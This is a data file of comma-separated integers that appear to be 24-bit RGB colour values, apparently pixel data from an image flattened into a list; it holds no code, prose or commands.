3618112, 2697523, 2566705, 2369326, 2106154, 1711396, 1645603, 1382431, 1448224, 1316638, 1316638, 1382431, 1119259, 1316638, 1448224, 1448224, 1448224, 1448224, 1448224, 1448224, 1514017, 1514017, 1448224, 1448224, 1514017, 1514017, 1514017, 1514017, 1514017, 1448224, 1514017, 1448224, 1448224, 1514017, 1514017, 1448224, 1448224, 1514017, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1448226, 1448226, 1448226, 1448226, 1382690, 1382690, 1251874, 1251874, 1514017, 1514017, 1644833, 1644833, 1710369, 1710369, 1710369, 1710369, 1579040, 1514017, 1514017, 1514017, 1514017, 1514017, 1644833, 1644833, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 2237740, 2237740, 2303533, 2303533, 2303533, 2237740, 2171947, 2106154, 2171947, 2106154, 2106154, 2171947, 2171947, 2106154, 2040361, 2106154, 2040361, 2106154, 2106154, 2106154, 2106154, 2106154, 2106154, 2171947, 2171947, 2106154, 2106154, 2040361, 1974568, 1974568, 1974568, 1974568, 1974568, 1974568, 1974568, 1974568, 1974568, 1974568, 2040361, 2040361, 1974568, 1974568, 1974568, 1974568, 1974568, 1974568, 1974568, 1974568, 1974568, 1908775, 1908775, 1908775, 1908775, 1908775, 1908775, 1974568, 2040361, 1974568, 1908775, 1842982, 1777189, 1842982, 1974568, 2040361, 1974568, 1974568, 1974568, 1974568, 1908775, 1908775, 1842982, 1842982, 1777189, 1777189, 1711396, 1645603, 1645603, 1645603, 1645603, 1645603, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1579810, 1579810, 1579810, 1579810, 1579810, 1579810, 1579810, 1644833, 1841444, 1775651, 1775908, 1710628, 1645603, 1645601, 1645087, 1382684, 1514268, 1252379, 1317918, 1252125, 1251358, 1579040, 1906469, 1840163, 1578018, 1579042, 1186079, 1252126, 1646367, 1973790, 1379082, 1771785, 2559244, 5254701, 8936028, 10907506, 11497846, 11956598, 12548481, 12876160, 13202042, 12872048, 12740975, 12412778, 12544364, 12150117, 12150117, 12479080, 11756127, 12085605, 10968153, 9719626, 10050133, 9525075, 9592153, 12356744, 13213854, 13411750, 12820644, 11702935, 10124674, 9138293, 9468024, 9929345, 11574170, 12889776, 14403275, 15390685, 15522787, 15852781, 15787499, 15261668, 14471898, 15195621, 15919087, 16313332, 13023683, 9470861, 5720919, 4010814, 4471879, 4604748, 4078917, 2960693, 2829877, 2632498, 2369326, 2040361, 1908775, 1514017, 1316638, 1185052, 1250845, 1316638, 1119259, 1185052, 1448224, 1448224, 1448224, 1448224, 1448224, 1448224, 1448224, 1514017, 1448224, 1448224, 1448224, 1514017, 1448224, 1448224, 1448224, 1448224, 1514017, 1448224, 1448224, 1514017, 1514017, 1448224, 1448224, 1514017, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1448224, 1448224, 1448224, 1448224, 1382944, 1448737, 1317665, 1317665, 1514017, 1514017, 1644833, 1644833, 1710369, 1710369, 1710369, 1710369, 1579040, 1579040, 1448224, 1448224, 1448224, 1448224, 1579040, 1579040, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 2303533, 2303533, 2303533, 2303533, 2303533, 2303533, 2237740, 2171947, 2171947, 2171947, 2171947, 2171947, 2171947, 2106154, 2106154, 2106154, 2106154, 2106154, 2171947, 2106154, 2106154, 2106154, 2106154, 2106154, 2106154, 2106154, 2040361, 2040361, 2040361, 1974568, 1974568, 2040361, 2040361, 2040361, 2040361, 1974568, 2040361, 2040361, 2040361, 2040361, 1974568, 1974568, 1974568, 1974568, 1974568, 1974568, 1908775, 1908775, 1974568, 1908775, 1908775, 1908775, 1908775, 1908775, 1908775, 1974568, 2040361, 1974568, 1908775, 1842982, 1842982, 1842982, 1908775, 1974568, 1974568, 1974568, 1974568, 1908775, 1908775, 1908775, 1842982, 1842982, 1711396, 1777189, 1711396, 1645603, 1645603, 1645603, 1645603, 1645603, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1514017, 1514017, 1514017, 1579810, 1514017, 1514017, 1514017, 1644833, 1841444, 1775651, 1775908, 1710626, 1645603, 1645601, 1645086, 1382684, 1514268, 1186586, 1252125, 1317918, 1382942, 1710369, 1971747, 1774368, 1840674, 1710369, 1908259, 1776413, 1512212, 1575948, 3283228, 6438977, 9396580, 10446955, 10313829, 11036266, 11297896, 11230820, 11558758, 11557217, 12015199, 11882584, 12146013, 11620693, 11884122, 12148062, 11951196, 11294293, 11295576, 10639188, 10048080, 8668226, 10709351, 12092802, 15251638, 14924472, 13149863, 10321793, 8480365, 7493729, 6047566, 4995389, 5654087, 5851465, 6048844, 6640982, 7891310, 9010307, 9537166, 10721697, 13091015, 15394281, 15986420, 15460076, 14867426, 15129828, 16576762, 15392488, 12629184, 8024187, 3879742, 4012611, 4078404, 3684159, 3421244, 2961463, 2698291, 2566705, 2369326, 1645603, 1185052, 1185052, 1316638, 1250845, 1119259, 1185052, 1448224, 1514017, 1514017, 1514017, 1448224, 1448224, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1448224, 1448224, 1448224, 1514017, 1448224, 1448224, 1514017, 1514017, 1514017, 1514017, 1514017, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1644833, 1448224, 1448224, 1448224, 1448224, 1448737, 1448737, 1317665, 1317665, 1514017, 1514017, 1644833, 1644833, 1710369, 1710369, 1710369, 1710369, 1579040, 1579040, 1448224, 1448224, 1514017, 1448224, 1579040, 1579040, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 2434349, 2434349, 2434349, 2434349, 2434349, 2434349, 2368556, 2368556, 2368556, 2302763, 2302763, 2368556, 2368556, 2302763, 2236970, 2302763, 2302763, 2302763, 2302763, 2302763, 2236970, 2171177, 2171177, 2236970, 2236970, 2236970, 2171177, 2171177, 2171177, 2171177, 2171177, 2171177, 2106154, 2040361, 1974568, 1974568, 2040361, 2040361, 2040361, 1974568, 1974568, 1974568, 1974568, 1974568, 1974568, 1908775, 1908775, 1908775, 2105384, 2105384, 2105384, 2039591, 2039591, 2105384, 2105384, 2105384, 2039591, 2039591, 2039591, 2039591, 2039591, 2039591, 1973798, 1973798, 2039591, 2039591, 2039591, 2039591, 1973798, 1973798, 1973798, 1908005, 1842212, 1842212, 1842212, 1776419, 1776419, 1842212, 1842212, 1842212, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1710626, 1775908, 1841444, 1776162, 1710626, 1645603, 1579808, 1645086, 1448477, 1382684, 988953, 1120539, 1383711, 1777187, 1907748, 2234403, 2102817, 2037538, 1840926, 1709337, 1444623, 2429462, 4137510, 6568510, 9064791, 10772070, 11822957, 11559271, 10966363, 11491935, 11425115, 11226710, 11422290, 11815762, 12143444, 12012628, 11157830, 11487308, 11028039, 10700101, 11556951, 11230296, 9061185, 8076089, 11104624, 13738401, 13937323, 13674922, 11439245, 8875121, 6902360, 5784142, 4863554, 4929861, 4404029, 4733762, 4010291, 4339256, 4470842, 5063240, 6379102, 6708324, 6972266, 9143948, 12500161, 13026763, 14079451, 15657970, 15920628, 16051701, 16511482, 14932452, 11379630, 8222080, 4802127, 2828337, 3486780, 3750209, 3421244, 2895670, 2961463, 2961463, 1974568, 1316638, 1448224, 1579810, 1316638, 1185052, 1382431, 1448224, 1448224, 1448224, 1448224, 1448224, 1382431, 1448224, 1448224, 1448224, 1448224, 1448224, 1448224, 1448224, 1382431, 1382431, 1382431, 1382431, 1382431, 1382431, 1382431, 1448224, 1514017, 1514017, 1579810, 1579040, 1579040, 1644833, 1644833, 1644833, 1644833, 1644833, 1644833, 1448224, 1448224, 1448224, 1448224, 1448737, 1448737, 1317665, 1317665, 1514017, 1514017, 1644833, 1644833, 1710369, 1710369, 1710369, 1710369, 1644833, 1644833, 1514017, 1514017, 1514017, 1514017, 1644833, 1644833, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 2434349, 2434349, 2434349, 2434349, 2434349, 2434349, 2434349, 2368556, 2368556, 2368556, 2368556, 2434349, 2368556, 2302763, 2302763, 2302763, 2302763, 2368556, 2368556, 2302763, 2236970, 2171177, 2171177, 2171177, 2236970, 2236970, 2171177, 2171177, 2171177, 2236970, 2236970, 2236970, 2040361, 1974568, 1974568, 1974568, 1974568, 1974568, 1974568, 1908775, 1974568, 1974568, 2040361, 2040361, 1974568, 1974568, 1908775, 1908775, 2105384, 2105384, 2105384, 2039591, 2039591, 2105384, 2105384, 2105384, 2039591, 2039591, 2105384, 2105384, 2039591, 2039591, 1973798, 1908005, 1973798, 1973798, 1973798, 1973798, 1908005, 1908005, 1908005, 1842212, 1842212, 1842212, 1842212, 1842212, 1842212, 1908005, 1908005, 1842212, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1645603, 1711396, 1711396, 1711396, 1645603, 1645603, 1645603, 1776419, 1841701, 1841701, 1776419, 1710626, 1579808, 1514015, 1645086, 1645086, 1251098, 1119769, 1054746, 1515297, 2171431, 2169891, 2233888, 2496803, 2628901, 2102555, 1772561, 2165518, 3939361, 6896705, 9853280, 11362408, 11556448, 11423575, 11752540, 10897229, 12147294, 11752279, 11092296, 11617870, 12274771, 12076622, 11880013, 10959424, 10828864, 10238523, 9779769, 10702669, 10573652, 7549745, 8276038, 14594226, 15319749, 13281965, 9466743, 6310223, 3548461, 3812663, 3681338, 2957872, 4010562, 3748158, 3814203, 3156783, 4011835, 3880506, 3748922, 4802125, 4999504, 4802638, 5263702, 7369847, 8488073, 10659242, 14540515, 15000040, 15328491, 16183287, 15327724, 15261931, 14078170, 7499640, 3289401, 3749952, 4144967, 3421244, 3224635, 3816772, 3093049, 2237740, 1514017, 1777189, 1777189, 1316638, 1250845, 1316638, 1316638, 1382431, 1382431, 1316638, 1316638, 1250845, 1316638, 1316638, 1316638, 1316638, 1316638, 1316638, 1316638, 1250845, 1250845, 1250845, 1250845, 1250845, 1250845, 1250845, 1316638, 1448224, 1514017, 1514017, 1579040, 1579040, 1579040, 1644833, 1644833, 1644833, 1644833, 1644833, 1448224, 1448224, 1448224, 1448224, 1448737, 1448737, 1317665, 1317665, 1514017, 1514017, 1644833, 1644833, 1710369, 1710369, 1710369, 1710369, 1579040, 1579040, 1448224, 1448224, 1514017, 1514017, 1579040, 1579040, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 2434349, 2434349, 2368556, 2434349, 2434349, 2434349, 2368556, 2368556, 2368556, 2368556, 2368556, 2368556, 2368556, 2302763, 2302763, 2302763, 2302763, 2368556, 2302763, 2302763, 2236970, 2171177, 2171177, 2171177, 2236970, 2236970, 2236970, 2236970, 2236970, 2236970, 2236970, 2236970, 2040361, 1974568, 1974568, 1974568, 1974568, 1974568, 1974568, 1908775, 1974568, 2040361, 2040361, 2040361, 1974568, 1974568, 1908775, 1908775, 2039591, 2039591, 2039591, 2039591, 2039591, 2039591, 2039591, 2039591, 2039591, 2039591, 2039591, 2039591, 2039591, 1973798, 1973798, 1908005, 1973798, 1973798, 1973798, 1973798, 1908005, 1908005, 1908005, 1842212, 1842212, 1908005, 1908005, 1908005, 1908005, 1908005, 1908005, 1908005, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1776421, 1776421, 1776419, 1579810, 1514015, 1514015, 1710880, 1842466, 1382429, 1317149, 1186333, 1711907, 2302503, 1906205, 1903895, 2758175, 3680045, 1968911, 2295821, 6241087, 8145745, 9655388, 11361638, 12541802, 12736099, 12208210, 11946065, 11617868, 11618894, 10960964, 11156803, 12734552, 11878985, 10695224, 11090496, 10498872, 10303034, 10897481, 9649468, 7086366, 6497057, 11631481, 15055804, 12887207, 9138806, 4666426, 3088423, 2826538, 3091509, 2894904, 2237491, 1974319, 2171444, 1711145, 1842984, 1975079, 3158840, 3685696, 4080455, 5659489, 5593696, 5857382, 5594977, 6647665, 5199965, 4870487, 7830658, 8816270, 14540004, 15986937, 16183546, 16117753, 15789042, 13749973, 10197664, 5328982, 3355451, 3618623, 3816002, 1908005, 2698291, 2303533, 1777189, 1908775, 1711396, 1119259, 1053466, 987673, 1316638, 1316638, 1316638, 1316638, 1250845, 1250845, 1250845, 1250845, 1316638, 1316638, 1316638, 1316638, 1250845, 1250845, 1250845, 1250845, 1185052, 1250845, 1250845, 1185052, 1250845, 1382431, 1448224, 1448224, 1579040, 1579040, 1579040, 1579040, 1579040, 1644833, 1644833, 1644833, 1448224, 1448224, 1448224, 1514017, 1448737, 1448737, 1317665, 1317665, 1514017, 1514017, 1644833, 1644833, 1710369, 1710369, 1710369, 1710369, 1513247, 1579040, 1448224, 1448224, 1448224, 1448224, 1579040, 1579040, 1448224, 1448224, 1448224, 1448224, 1448224, 1448224, 1448224, 1448224, 1448224, 1448224, 1448224, 1448224, 1448224, 1448224, 1448224, 1448224, 2434349, 2368556, 2368556, 2368556, 2368556, 2434349, 2368556, 2368556, 2368556, 2302763, 2368556, 2368556, 2368556, 2302763, 2236970, 2302763, 2302763, 2302763, 2302763, 2302763, 2236970, 2236970, 2236970, 2236970, 2302763, 2302763, 2236970, 2236970, 2236970, 2236970, 2236970, 2236970, 2106154, 2040361, 1974568, 1974568, 2040361, 2040361, 1974568, 1908775, 1974568, 2040361, 2106154, 2106154, 2040361, 1974568, 1908775, 1908775, 2039591, 2039591, 2039591, 2039591, 2039591, 2039591, 2039591, 2039591, 2105384, 2105384, 2039591, 2039591, 1973798, 1973798, 1973798, 1973798, 2039591, 2039591, 2039591, 1973798, 1973798, 1973798, 1908005, 1908005, 1908005, 1973798, 1973798, 1908005, 1908005, 1973798, 1973798, 1908005, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1645603, 1645605, 1645605, 1711396, 1579810, 1448222, 1514015, 1776673, 1974052, 1776673, 1711394, 1448735, 1843235, 2367269, 1576211, 1573642, 2691094, 3480608, 2821650, 4332320, 9395297, 10049632, 10835294, 12081251, 13130341, 13324638, 13060437, 11285565, 12011082, 10828605, 10697019, 11484225, 11878472, 11418434, 10958396, 10169908, 9513005, 11027784, 10306630, 7611942, 6825765, 9394519, 14463667, 13545650, 7955561, 4470590, 2761515, 2170409, 2566453, 2107443, 2240060, 2437441, 2963530, 3226702, 5199977, 5792364, 4608343, 5463650, 5595236, 5529445, 6976891, 6516854, 7240577, 6319986, 6122607, 5201248, 5661029, 6713206, 7435900, 10067107, 11974077, 14078940, 15723765, 16315900, 15724276, 13618900, 8158081, 5131862, 3355451, 3618623, 2697521, 2303533, 2369326, 1974568, 1908775, 1579810, 1053466, 921880, 658708, 1382431, 1382431, 1382431, 1316638, 1316638, 1250845, 1250845, 1250845, 1382431, 1382431, 1382431, 1382431, 1382431, 1316638, 1316638, 1316638, 1185052, 1250845, 1250845, 1185052, 1185052, 1316638, 1382431, 1382431, 1513247, 1513247, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1448224, 1448224, 1448224, 1514017, 1448737, 1448737, 1317665, 1317665, 1514017, 1514017, 1644833, 1644833, 1710369, 1710369, 1710369, 1710369, 1644833, 1644833, 1514017, 1514017, 1514017, 1514017, 1644833, 1644833, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 2434349, 2434349, 2434349, 2434349, 2434349, 2434349, 2434349, 2434349, 2500142, 2434349, 2434349, 2500142, 2434349, 2302763, 2302763, 2302763, 2368558, 2368558, 2434351, 2368558, 2302765, 2302765, 2302765, 2368558, 2302765, 2302765, 2302765, 2302765, 2302765, 2302765, 2302765, 2302765, 2302765, 2236972, 2171179, 2171179, 2236972, 2236972, 2236972, 2171179, 2171179, 2236972, 2236972, 2236972, 2171179, 2171179, 2171179, 2105386, 2105386, 2105386, 2105386, 2105386, 2105386, 2105386, 2105386, 2105386, 2171179, 2105386, 2105386, 2105386, 2105386, 1973800, 1973800, 1973800, 2039593, 2105386, 2105386, 2039593, 1973800, 1973800, 1973800, 2039593, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1842984, 1777191, 1777191, 1711398, 1711398, 1777191, 1777191, 1777191, 1777191, 1777191, 1777191, 1777191, 1777191, 1777191, 1777191, 1777191, 1645605, 1645862, 1646116, 1580323, 1579808, 1579808, 1842466, 1908259, 1908259, 2039845, 1909028, 1710366, 2234652, 2693404, 2361614, 2031620, 2885901, 5121321, 7947338, 11299697, 11032927, 11489882, 12670560, 12798805, 12664651, 12203585, 11481656, 11286587, 11090748, 11090748, 11221051, 10759989, 10826555, 10827838, 9710386, 8988203, 10569291, 8861498, 5640723, 9065043, 14857911, 14466239, 7758182, 2563108, 1578270, 3619141, 3554378, 2240060, 1188914, 1058356, 3952480, 5794430, 6583689, 11583442, 10399419, 8820639, 8557466, 8097169, 7241606, 7570571, 6846848, 8031122, 6978688, 7044481, 7044481, 7833227, 8753818, 8226445, 4672340, 7369596, 9868958, 13553109, 15066346, 16251133, 15066859, 12171967, 8289926, 4013381, 3223865, 3881795, 2631730, 2302765, 2829109, 2105386, 1842214, 1644835, 986905, 1052698, 1513249, 1513249, 1579042, 1513249, 1447456, 1381663, 1381663, 1447456, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1381663, 1447456, 1447456, 1381663, 1381663, 1513249, 1579042, 1579042, 1579040, 1579040, 1579040, 1579040, 1644833, 1644833, 1644833, 1644833, 1514017, 1514017, 1514017, 1514017, 1448737, 1448737, 1317665, 1317665, 1514019, 1579812, 1644835, 1644835, 1644322, 1775651, 1710115, 1644322, 1579042, 1644835, 1514019, 1514019, 1514019, 1514019, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 2500142, 2500142, 2500142, 2500142, 2500142, 2500142, 2500142, 2500142, 2500142, 2434349, 2500142, 2500142, 2500142, 2434349, 2434349, 2434349, 2434351, 2434351, 2434351, 2368558, 2302765, 2236972, 2236972, 2302765, 2236972, 2236972, 2236972, 2236972, 2236972, 2236972, 2236972, 2236972, 2302765, 2236972, 2105386, 2105386, 2171179, 2171179, 2171179, 2171179, 2171179, 2236972, 2302765, 2236972, 2171179, 2171179, 2171179, 2105386, 2171179, 2171179, 2171179, 2171179, 2171179, 2171179, 2171179, 2171179, 2171179, 2105386, 2171179, 2171179, 2171179, 2105386, 2105386, 2105386, 2105386, 2105386, 2105386, 2039593, 1973800, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1777191, 1777191, 1711398, 1711398, 1711398, 1711398, 1711398, 1711398, 1711398, 1711398, 1711398, 1711398, 1711398, 1711398, 1711398, 1711398, 1645862, 1515046, 1646116, 1514530, 1514015, 1645087, 1776160, 1907746, 2105125, 1841953, 2039331, 1840923, 1904915, 3415585, 3018257, 2621443, 4396569, 9394267, 11957114, 10440790, 10239815, 11750226, 12339281, 11941955, 11545909, 11611700, 11744826, 10759471, 10498095, 10959160, 10957620, 9839141, 10300211, 10433596, 9119278, 10042690, 7676711, 6034713, 9459033, 12949402, 12294300, 4928570, 2299423, 3354681, 3093311, 2700611, 1188401, 1189172, 927797, 2112586, 7572640, 10466762, 9676735, 10728905, 7965851, 7439247, 6452604, 5728881, 5268330, 5070697, 4149595, 6123639, 8031635, 10137011, 9676460, 7834256, 7833229, 7635337, 9608100, 8027783, 6843250, 6185320, 8488073, 14080478, 15593717, 15395824, 13816538, 8092547, 2763314, 2894900, 3750211, 3092281, 3092281, 2500144, 2236972, 1842214, 2105386, 1513249, 1513249, 1513249, 1513249, 1513249, 1447456, 1447456, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1381663, 1447456, 1513249, 1579042, 1579042, 1644833, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1448224, 1448224, 1448224, 1448224, 1382944, 1382944, 1251872, 1251872, 1448226, 1514019, 1579042, 1579042, 1644065, 1709858, 1644322, 1578529, 1513249, 1513249, 1448226, 1448226, 1448226, 1448226, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 2500144, 2500144, 2500144, 2500144, 2500144, 2500144, 2500144, 2500144, 2500144, 2434351, 2434351, 2500144, 2500144, 2434351, 2434351, 2434351, 2434351, 2434351, 2434351, 2368558, 2302765, 2236972, 2236972, 2302765, 2302765, 2302765, 2302765, 2302765, 2302765, 2302765, 2302765, 2302765, 2368558, 2302765, 2171179, 2171179, 2236972, 2236972, 2236972, 2171179, 2171179, 2302765, 2302765, 2236972, 2171179, 2171179, 2171179, 2105386, 2171179, 2171179, 2171179, 2171179, 2171179, 2171179, 2171179, 2171179, 2171179, 2105386, 2105386, 2171179, 2171179, 2105386, 2039593, 2105386, 2105386, 2105386, 2105386, 2039593, 1973800, 1908007, 1908007, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1777191, 1580841, 1515559, 1449251, 1383458, 1448735, 1645087, 1710367, 1775647, 2038819, 1841440, 2038304, 1905687, 2100495, 3611164, 3608336, 4526870, 7485243, 11101287, 12019309, 9976643, 11026505, 12208208, 12206410, 11744828, 10888490, 11480626, 12534854, 10759726, 10037030, 10695473, 10958133, 9773605, 9840430, 9907511, 9120307, 9320255, 5836307, 6695214, 12356495, 11701652, 7032919, 1903895, 2103844, 3092798, 3423564, 2175554, 2044997, 4151656, 5468286, 5271679, 5928587, 8033706, 6453392, 5926788, 4610410, 3689305, 3163213, 2900041, 3162702, 2899530, 2438466, 3425361, 5202026, 7241607, 9347496, 9873840, 9478569, 9214882, 9937322, 9476512, 8423309, 6580591, 6909554, 10264997, 12501959, 15067373, 15724535, 11711162, 5328984, 2894643, 3552832, 3421246, 3026488, 2434351, 2039593, 2039593, 2500144, 1842214, 1513249, 1513249, 1513249, 1513249, 1513249, 1447456, 1447456, 1381663, 1447456, 1447456, 1447456, 1381663, 1381663, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1381663, 1447456, 1513249, 1579042, 1513249, 1579042, 1579042, 1513249, 1513249, 1579042, 1579042, 1513249, 1513249, 1382433, 1382433, 1382433, 1382433, 1316897, 1316897, 1186081, 1186081, 1382433, 1448226, 1513249, 1513249, 1578272, 1644065, 1578529, 1512736, 1447456, 1513249, 1382433, 1382433, 1382433, 1382433, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 2565937, 2565937, 2565937, 2565937, 2565937, 2565937, 2565937, 2565937, 2565937, 2500144, 2500144, 2565937, 2500144, 2434351, 2368558, 2368558, 2368558, 2434351, 2434351, 2368558, 2302765, 2302765, 2368558, 2368558, 2368558, 2368558, 2368558, 2368558, 2368558, 2368558, 2368558, 2368558, 2368558, 2302765, 2236972, 2236972, 2236972, 2302765, 2302765, 2236972, 2236972, 2302765, 2302765, 2236972, 2236972, 2171179, 2171179, 2105386, 2236972, 2236972, 2236972, 2236972, 2236972, 2236972, 2236972, 2236972, 2236972, 2171179, 2171179, 2236972, 2171179, 2039593, 2039593, 2039593, 2039593, 2105386, 2105386, 2105386, 2039593, 1973800, 2039593, 2039593, 2039593, 2039593, 2039593, 2039593, 2039593, 2039593, 2039593, 2039593, 2039593, 2039593, 1973800, 1908007, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1842984, 1581354, 1450279, 1449766, 1449251, 1514528, 1645087, 1644574, 1644061, 1578268, 2038304, 1906459, 2233110, 2756884, 3214605, 4461588, 7682620, 11693424, 12216941, 10831952, 9973815, 11287106, 12075335, 12337478, 11613240, 10758186, 11218994, 12404038, 10891312, 9575966, 9905444, 10694961, 10168878, 9445931, 9644854, 9055543, 6887455, 6102050, 10119020, 12556961, 6703954, 1903638, 2432296, 4079178, 1778993, 2373188, 2242887, 4284012, 8824758, 12575729, 9944268, 1917011, 1389641, 730428, 664377, 334892, 5666, 4380, 5665, 400425, 465448, 465449, 662570, 662568, 1254703, 6321279, 11782096, 13097443, 11583945, 9411749, 10726838, 11450302, 11252921, 9015959, 7041910, 7305082, 11712443, 15791098, 15592949, 10131873, 3552573, 2894902, 3158074, 3092281, 2302765, 1776421, 2500144, 2302765, 2171179, 1513249, 1513249, 1513249, 1447456, 1513249, 1513249, 1447456, 1315870, 1381663, 1381663, 1447456, 1447456, 1381663, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1381663, 1447456, 1447456, 1513249, 1513249, 1513249, 1513249, 1447456, 1447456, 1513249, 1579042, 1513249, 1513249, 1382433, 1382433, 1382433, 1382433, 1316897, 1316897, 1186081, 1186081, 1382433, 1448226, 1513249, 1578529, 1578272, 1644065, 1578529, 1512736, 1513249, 1513249, 1382433, 1382433, 1382433, 1382433, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 2631730, 2631730, 2631730, 2631730, 2631730, 2631730, 2631730, 2631730, 2631730, 2565937, 2565937, 2631730, 2565937, 2500144, 2434351, 2434351, 2434351, 2434351, 2500144, 2434351, 2368558, 2368558, 2434351, 2434351, 2434351, 2434351, 2434351, 2434351, 2434351, 2434351, 2434351, 2434351, 2368558, 2302765, 2236972, 2236972, 2236972, 2236972, 2236972, 2171179, 2236972, 2302765, 2368558, 2302765, 2236972, 2236972, 2171179, 2171179, 2302765, 2302765, 2302765, 2302765, 2302765, 2302765, 2302765, 2302765, 2302765, 2236972, 2236972, 2302765, 2236972, 2171179, 2105386, 2105386, 2105386, 2105386, 2171179, 2105386, 2039593, 2039593, 2105386, 2105386, 2105386, 2105386, 2105386, 2105386, 2105386, 2105386, 2105386, 2105386, 2039593, 1973800, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1711655, 1450025, 1319207, 1384486, 1449764, 1580321, 1710879, 1709854, 1775133, 1577754, 1906205, 1970969, 2626841, 3413528, 3344650, 6368043, 10378333, 11625061, 10832717, 9908022, 10300466, 11877443, 12073793, 11679033, 10561832, 10497322, 10563628, 10892080, 10431529, 9641245, 9641759, 10169130, 9774890, 9248552, 9513782, 8529970, 5902616, 9986406, 11766927, 5783363, 2430491, 1840413, 3223867, 3752268, 530469, 1190454, 1653060, 1720395, 5537672, 10802141, 10933473, 2971752, 272957, 601152, 1192261, 468018, 534064, 5919, 73254, 599345, 336173, 138283, 795441, 993075, 663595, 2768203, 6387072, 10926276, 14544632, 13688551, 10859194, 9345953, 10529711, 11121848, 9805475, 7700099, 7304828, 11448760, 14869226, 14539750, 10065826, 4210762, 2565937, 3355453, 2171179, 1447456, 2500144, 2039593, 2039593, 1513249, 1513249, 1513249, 1447456, 1447456, 1513249, 1447456, 1315870, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447458, 1381665, 1381665, 1447458, 1513251, 1644837, 1644837, 1579044, 1447972, 1447972, 1447972, 1447972, 1382692, 1382692, 1251876, 1251876, 1448226, 1448226, 1579042, 1644322, 1644065, 1709858, 1644322, 1578529, 1579042, 1579042, 1448226, 1448226, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 2565937, 2565937, 2565937, 2565937, 2565937, 2565937, 2565937, 2565937, 2565937, 2500144, 2500144, 2565937, 2565937, 2500144, 2500144, 2500144, 2500144, 2565937, 2565937, 2500144, 2434351, 2368558, 2368558, 2434351, 2434351, 2434351, 2434351, 2434351, 2434351, 2434351, 2434351, 2434351, 2434351, 2368558, 2302765, 2236972, 2302765, 2302765, 2302765, 2236972, 2302765, 2368558, 2368558, 2302765, 2236972, 2236972, 2236972, 2171179, 2236972, 2236972, 2236972, 2236972, 2236972, 2236972, 2236972, 2236972, 2236972, 2171179, 2171179, 2236972, 2236972, 2171179, 2105386, 2171179, 2171179, 2236972, 2236972, 2171179, 2105386, 2039593, 2039593, 2105386, 2171179, 2171179, 2171179, 2171179, 2171179, 2171179, 2171179, 2171179, 2105386, 2039593, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1777448, 1450025, 1253927, 1319207, 1450018, 1646114, 1776672, 1841440, 2037792, 